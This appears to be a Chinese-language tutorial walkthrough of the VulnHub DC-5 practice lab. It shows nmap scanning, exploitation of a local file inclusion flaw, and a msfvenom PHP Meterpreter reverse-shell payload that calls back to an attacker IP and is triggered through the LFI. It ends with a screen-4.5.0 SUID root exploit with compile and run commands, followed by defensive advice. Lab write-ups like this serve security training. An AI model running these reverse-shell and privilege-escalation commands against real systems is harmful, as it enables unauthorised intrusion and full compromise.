VnlnHub DC-5
字数 1160 2025-08-06 08:34:54
DC-5 靶场渗透测试教学文档
靶场概述
DC-5 是一个专为网络安全学习设计的虚拟靶场环境,包含一个需要获取root权限才能找到flag的Linux系统。本教学将详细讲解从信息收集到最终提权的完整渗透测试过程。
靶场搭建
- 下载镜像:从FreeBuf下载.OVA格式的镜像文件
- 导入虚拟机:使用VMware直接导入.OVA文件
- 网络配置:
- 选择NAT网络模式
- 确保攻击机(Kali Linux)与靶机在同一网段
信息收集阶段
1. 网络扫描
nmap -sP -T4 192.168.48.0/24
- 扫描整个C类网段
- 发现靶机IP为192.168.48.142
2. 端口扫描与服务识别
nmap -sS -p 1-65535 -A 192.168.48.142
扫描结果:
- 80端口:HTTP服务
- 111端口:RPC服务
- 56805端口:RPC服务
Web应用渗透
1. 初步访问
访问 http://192.168.48.142,检查网站功能:
- 留言板功能
- 页面底部有动态变化的内容
2. 目录扫描
发现敏感目录:
http://192.168.48.142/footer.php
3. 文件包含漏洞发现
观察发现:
thankyou.php可能包含footer.php- 存在本地文件包含(LFI)漏洞的可能性
4. 爆破包含参数
使用Burp Suite爆破发现:
- 包含参数为
file - 验证为Linux系统
爆破出日志文件路径:
/var/log/nginx/error.log
/var/log/nginx/access.log
权限提升
1. 初始访问
尝试通过日志文件注入Webshell未果,改为上传MSF马:
- 生成PHP Meterpreter payload:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.48.136 lport=4444 -f raw > 1.php
-
上传到靶机的
/tmp目录(唯一可写目录) -
设置监听:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.48.136
exploit
- 触发payload:
http://192.168.48.142/thankyou.php?file=/tmp/1.php
2. 获取完整shell
Meterpreter会话不稳定,获取完整shell:
python -c 'import pty;pty.spawn("/bin/bash")'
3. SUID提权
- 查找具有SUID权限的可执行文件:
find / -perm -4000 2>/dev/null
发现 screen-4.5.0 存在漏洞
- 查找相关漏洞:
searchsploit screen 4.5.0
发现本地提权漏洞(CVE-2017-5618)
- 利用步骤:
- 创建三个文件:
libhax.crootshell.c1.sh
- 编译:
gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c - 上传到靶机
/tmp目录 - 执行:
cd /tmp chmod +x 1.sh ./1.sh
- 创建三个文件:
获取Flag
提权成功后:
cd /root
cat thisistheflag.txt
关键知识点总结
- 信息收集:Nmap扫描、目录爆破
- 漏洞发现:文件包含漏洞识别与利用
- 权限维持:MSF马生成与使用
- 权限提升:
- SUID权限识别
- 已知漏洞利用(screen-4.5.0)
- 交叉编译与上传攻击载荷
防御建议
-
文件包含漏洞:
- 避免动态包含用户可控的文件路径
- 使用白名单限制可包含的文件
-
权限控制:
- 最小权限原则
- 定期检查SUID/SGID文件
-
服务安全:
- 及时更新存在漏洞的软件
- 限制日志文件的写入权限
-
系统加固:
- 限制/tmp目录的可执行权限
- 使用SELinux/AppArmor等安全模块
通过本靶场的学习,可以掌握从Web应用到系统层的完整渗透测试流程,特别是文件包含漏洞的利用和SUID提权技术。